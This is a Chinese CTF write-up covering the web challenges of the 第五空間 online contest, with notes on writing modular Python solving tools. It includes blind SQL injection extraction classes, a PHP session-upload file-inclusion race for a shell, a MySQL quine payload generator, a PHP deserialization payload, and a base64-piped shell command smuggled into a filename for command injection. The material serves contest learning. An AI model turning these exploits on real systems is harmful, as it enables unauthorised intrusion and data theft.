第五空間線上賽web部分題解與模塊化CTF解題工具編寫的一些思考
0x00 前言
之前在打大大小小的比賽過程中,發現其實很多題的手法和流程是一致的,只是具體的細節比如說繞過方式不同,如何在比賽中快速寫好通用的邏輯,在解具體賽題的過程中又能快速實現自定義化細節呢。一個簡單的思路就是利用OOP的思想,編寫一些基礎通用的模塊,在比賽時通過繼承和方法重寫實現快速自定義化。
比如在一類盲注題目中,無論是時間還是布爾,一般來說我們需要拿到一個判斷輸入邏輯是否正確的函數,比如下面這個hack函數
def hack(host:str,payload:str)->bool: data = { "uname":f"-1' or {payload}#", "passwd":f"123" } res = requests.post(f"{host}/sqli.php",data=data) #print(res.content) if b"admin" in res.content: return True return False
通過這個函數我們判斷一個sql語句的邏輯結果是否正確,利用這點,我們可以利用枚舉或者二分的手法來判斷數據內容,從而進行盲注,一個常見的枚舉函數如下圖所示
def equBlind(sql:str)->None: ret="" i = 1 while True: flag = 0 for ch in string.printable: payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})' sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch)) sys.stdout.flush() if hack(payload): ret=ret+ch sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret)) sys.stdout.flush() flag = 1 break if flag == 0: break i+=1 sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
當然,不同的題目注入的方式和注入點肯定是不一樣的,需要快速的自定義細節,那么我們要繼續細化各函數的功能嗎,顯然不太現實,而且調用起來也會很麻煩。如何在耦合和內聚中取得平衡是在模塊編寫中需要注意的。目前的一個簡單想法就是把大的邏輯分開,比如盲注中判定sql邏輯的部分和注出數據的部分,從外部傳入target,各功能之間的公用參數掛在對象上。下面是一個基礎的Sql注入利用類
import requests
import threading,sys
import string
class BaseSqliHelper:
def __init__(self,host:str) -> None:
self.host = host
self.pt = string.printable
pass
def hack(self,payload:str)->bool:
data = {
"uname":f"-1' or {payload}#",
"passwd":f"123"
}
res = requests.post(f"{self.host}/sqli.php",data=data)
#print(res.content)
if b"admin" in res.content:
return True
return False
def equBlind(self,sql:str)->None:
ret=""
i = 1
while True:
flag = 0
for ch in self.pt:
payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'
sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))
sys.stdout.flush()
if self.hack(payload):
ret=ret+ch
sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
flag = 1
break
if flag == 0:
break
i+=1
sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
def efBlind(self,sql:str)->None:
ret=""
i = 1
while True:
l=20
r=130
while(l+1<r):
mid=(l+r)//2
payload=f"if((ascii(substr(({sql}),{i},1)))>{mid},1,0)"
if self.hack(payload):
l=mid
else :
r=mid
if(chr(r) not in self.pt):
break
i+=1
ret=ret+chr(r)
sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
if __name__ == "__main__":
host = "http://127.0.0.1:2335"
sqlexp = BaseSqliHelper(host=host)
print(sqlexp.hack("1=1"))
sql = "select database()"
sqlexp.equBlind(sql)
sqlexp.efBlind(sql)
目前在 https://github.com/EkiXu/ekitools 倉庫中實現了幾個簡單的模塊,包括php session lfi,Sqli 以及quine相關,tests文件夾下存放了一些示例用來測試基礎類功能是否正常。
一些模塊利用方法將會在后面的wp中具體進行介紹。
0x01 EasyCleanup
看了一下源碼,出題人應該是想讓選手利用最多8種字符,最長15字符的rce實現getshell,然而看phpinfo();沒禁php session upload progress同時給了文件包含
那么就直接拿寫好的模塊一把梭了,可以看到這里利用繼承重寫方法的方式進行快速自定義,實際解題中就是copy基礎類源碼中示例函數+簡單修改
from ekitools.PHP_LFI import BasePHPSessionHelper
import threading,requests
host= "http://114.115.134.72:32770"
class Exp(BasePHPSessionHelper):
def sessionInclude(self,sess_name="ekitest"):
#sessionPath = "/var/lib/php5/sess_" + sess_name
#sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
sessionPath = f"/tmp/sess_{sess_name}"
upload_url = f"{self.host}/index.php"
include_url = f"{self.host}/index.php?file={sessionPath}"
headers = {'Cookie':'PHPSESSID=' + sess_name}
t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
t.setDaemon(True)
t.start()
while True:
res = requests.post(include_url,headers=headers)
if b'Included' in res.content:
print("[*] Get shell success.")
print(include_url,res.content)
break
else:
print("[-] retry.")
return True
exp = Exp(host)
exp.sessionInclude("g")
0x02 yet_another_mysql_injection
題目提示了?source給了源碼
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- source code here: /?source -->
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="initial-scale=1.0, user-scalable=no, width=device-width">
<title>SQLi</title>
<link rel="stylesheet" type="text/css" href="./files/reset.css">
<link rel="stylesheet" type="text/css" href="./files/scanboardLogin.css">
<link rel="stylesheet" type="text/css" href="./files/animsition.css">
</head>
<body>
<div class="wp animsition" style="animation-duration: 0.8s; opacity: 1;">
<div class="boardLogin">
<div class="logo ">
LOGIN AS ADMIN!
</div>
<form action="index.php" method="post">
<div class="inpGroup">
<span class="loginIco1"></span>
<input type="text" name="username" placeholder="請輸入您的用戶名">
</div>
<div class="inpGroup">
<span class="loginIco2"></span>
<input type="password" name="password" placeholder="請輸入您的密碼">
</div>
<div class="prompt">
<p class="success">輸入正確</p>
</div>
<button class="submit">登錄</button>
</form>
</div>
</div>
<div id="particles-js"><canvas class="particles-js-canvas-el" style="width: 100%; height: 100%;" width="3360" height="1780"></canvas></div>
<script type="text/javascript" src="./files/jquery.min.js"></script>
<script type="text/javascript" src="./files/jquery.animsition.js"></script>
<script src="./files/particles.min.js"></script>
<script src="./files/app.js"></script>
<script type="text/javascript">
$(".animsition").animsition({
inClass : 'fade-in',
outClass : 'fade-out',
inDuration : 800,
outDuration : 1000,
linkElement : '.animsition-link',
loading : false,
loadingParentElement : 'body',
loadingClass : 'animsition-loading',
unSupportCss : [ 'animation-duration',
'-webkit-animation-duration',
'-o-animation-duration'
],
overlay : false,
overlayClass : 'animsition-overlay-slide',
overlayParentElement : 'body'
});
</script>
</body></html>
可以看到可控參數其實只有password,那么直接構造一個永真式
'or '1'like '1
然后發現還是報
alertMes("something wrong",'index.php');
可以推斷庫中沒有數據,此時仍然要使得$row['password'] === $password,很容易想到通過聯合注入來構造$row['password'],然而為了實現這一目標我們要使輸入的password參數查出的password列值為自身。事實上這是一類quine即執行自身輸出自身,quine一個常見的思路就是通過替換來構造,通過將一個較短的占位符,替換成存在的長串字符串來構造。這個考點也在Holyshield CTF和Codegate出現過
def genMysqlQuine(sql:str,debug:bool=False,tagChar:str="$")->str:
'''
$$用于占位
'''
tagCharOrd:int = ord(tagChar)
if debug:
print(sql)
sql = sql.replace('$$',f"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR({tagCharOrd}),$$)")
text = sql.replace('$$',f'"{tagChar}"').replace("'",'"')
sql = sql.replace('$$',f"'{test}'")
if debug:
print(sql)
return sql
if __name__ == "__main__":
res = genMysqlQuine("UNION SELECT $$ as password -- ",tagChar="%")
print(res)
該代碼也模塊化放在ekitools里了
from ekitools.quine import genMysqlQuine
import requests
host = "http://114.115.143.25:32770"
data = {
"username":"admin",
"password":genMysqlQuine("'union select $$ as password#",tagChar="%").replace(" ","/**/")
}
print(data)
res = requests.post(host,data=data)
print(res.content)
0x03 pklovecloud
直接反序列化了,好像也沒啥鏈子。。。
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function setCinder($cinder){
$this->cinder = $cinder;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$b = new stdClass;
$b->neutron = $heat;
$b->nova = $heat;
$a = new ace;
$a->docker = $b;
$a->filename = 'flag.php';
$exp = new acp;
$exp->setCinder($a);
var_dump(urlencode(serialize($exp)));
?>
0x04 PNG圖片轉換器
閱讀相關材料
https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#command-injection
可知redis的一個特性 open能夠命令注入

那么繞過手段就很多了,比如base64
import requests
url = "http://114.115.128.215:32770"
#url = "http://127.0.0.1:4567"
print(hex(ord('.')),hex(ord("/")))
res = requests.post(f"{url}/convert",data="file=|echo Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt | base64 -d | sh;.png".encode("utf-8"),headers={"Content-Type":"application/x-www-form-urlencoded"},allow_redirects=False)
print(res.content)
0x05 WebFtp
好像就是一個./git源碼泄露,審計下代碼在/Readme/mytz.php有act能獲取phpinfo(),在phpinfo環境變量頁面里能得到flag